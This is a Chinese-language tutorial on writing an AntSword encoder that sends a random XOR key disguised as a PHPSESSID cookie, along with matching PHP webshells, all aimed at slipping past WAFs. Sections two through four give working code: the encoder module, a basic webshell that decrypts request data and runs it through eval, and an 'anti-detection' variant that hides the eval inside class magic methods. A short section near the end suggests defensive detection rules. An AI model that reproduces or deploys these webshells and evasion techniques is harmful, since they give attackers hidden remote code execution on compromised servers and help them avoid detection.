基于随机Cookie的蚁剑动态秘钥编码器
字数 1363 2025-08-25 22:58:20
基于随机Cookie的蚁剑动态秘钥编码器教学文档
一、技术背景与原理
1.1 传统蚁剑编码器的不足
- 传统蚁剑编码器使用固定密钥或时间生成密钥,存在以下问题:
- 固定密钥容易被WAF识别和拦截
- 时间同步问题可能导致玄学BUG
- 握手交换密钥的特征明显
1.2 动态密钥的优势
- 每次请求使用不同的随机密钥
- 密钥通过常见HTTP头字段传递,隐蔽性高
- 无需人工干预生成密钥
1.3 技术原理
- 利用HTTP Cookie头传递动态密钥
- 客户端(编码器)和服务端(WebShell)使用相同算法加解密
- 密钥每次随机生成,增强对抗WAF的能力
二、编码器实现详解
2.1 编码器核心代码
'use strict';
module.exports = (pwd, data, ext = {}) => {
// 生成26位随机ID,模拟PHP的session id
let randomID = `x${Math.random().toString(16).substr(2)}`;
function xor(payload) {
let crypto = require('crypto');
// 从随机ID生成MD5并截取26位作为密钥
let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
// 将密钥放入Cookie头
ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
// 将密钥转换为字符码数组
key = key.split("").map(t => t.charCodeAt(0));
// 对payload进行异或加密
let cipher = payload.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 26]
}
// 转换为Base64
cipher = cipher.map(t => String.fromCharCode(t)).join("")
cipher = Buffer.from(cipher).toString('base64');
return cipher;
}
// 处理原始数据
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd] = xor(data[pwd]);
delete data['_'];
return data;
}
2.2 关键点解析
-
随机密钥生成:
- 使用
Math.random()生成随机数 - 转换为16进制字符串并截取部分作为基础
- 通过MD5哈希确保密钥长度和随机性
- 使用
-
密钥传递:
- 利用
ext.opts.httpConf.headers修改HTTP头 - 伪装成PHP的
PHPSESSID,增强隐蔽性
- 利用
-
加密算法:
- 简单的异或(XOR)加密
- 密钥循环使用(模26运算)
- 最终Base64编码传输
三、WebShell实现
3.1 基础版本
<?php
@$post = base64_decode($_REQUEST['test']);
$key = @$_COOKIE['PHPSESSID'];
for($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i] ^ $key[$i % 26];
}
@eval($post);
?>
3.2 免杀版本
<?php
class Cookie {
function __construct() {
$key = @$_COOKIE['PHPSESSID'];
@$post = base64_decode($_REQUEST['test']);
for($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i] ^ $key[$i % 26];
}
return $post;
}
function __destruct() {
return @eval($this->__construct());
}
}
$check = new Cookie();
?>
3.3 WebShell特点
- 密钥获取:从Cookie中读取
PHPSESSID作为密钥 - 解密过程:
- Base64解码请求参数
- 使用相同异或算法解密
- 免杀技巧:
- 使用类封装
- 利用魔术方法
__construct和__destruct - 避免直接使用
eval等敏感函数
四、使用与配置指南
4.1 编码器配置
- 将编码器代码保存为
.js文件 - 在蚁剑中导入编码器
- 配置Shell时选择该编码器
4.2 连接测试流程
- 蚁剑发送请求时自动:
- 生成随机密钥
- 设置Cookie头
- 加密payload
- WebShell接收请求后:
- 从Cookie获取密钥
- 解密payload
- 执行解密后的代码
4.3 注意事项
- 密钥长度:保持26位以模拟PHP session id
- 编码器扩展:可以修改其他HTTP头增强隐蔽性
- 兼容性:确保服务端PHP版本支持使用的特性
五、技术优势与防御建议
5.1 技术优势
- 动态性:每次请求使用不同密钥
- 隐蔽性:
- 利用常见HTTP头传递密钥
- 无固定特征字符串
- 自动化:无需人工干预密钥生成
5.2 防御建议
- 流量检测:
- 监控异常的Cookie使用模式
- 检测固定参数名的Base64数据
- 行为分析:
- 关注
eval等危险函数的使用 - 分析类魔术方法的可疑调用
- 关注
- WAF规则:
- 针对异或加密特征制定规则
- 检测动态密钥的生成模式
六、扩展与改进
6.1 可能的改进方向
- 加密算法增强:使用更复杂的加密算法
- 密钥生成优化:结合时间戳或其他变量
- 多字段混淆:利用多个HTTP头传递密钥片段
6.2 其他编码器参数
- 可以修改
User-Agent等头信息:
ext.opts.httpConf.headers['User-Agent'] = 'custom-agent';
6.3 多语言支持
- 相同原理可应用于ASP、JSP等WebShell
七、总结
本方案通过利用HTTP Cookie动态传递密钥,实现了蚁剑与WebShell之间的安全通信。相比传统固定密钥或时间密钥方案,具有更好的隐蔽性和对抗WAF的能力。关键点在于密钥的动态生成、隐蔽传递以及加解密算法的匹配实现。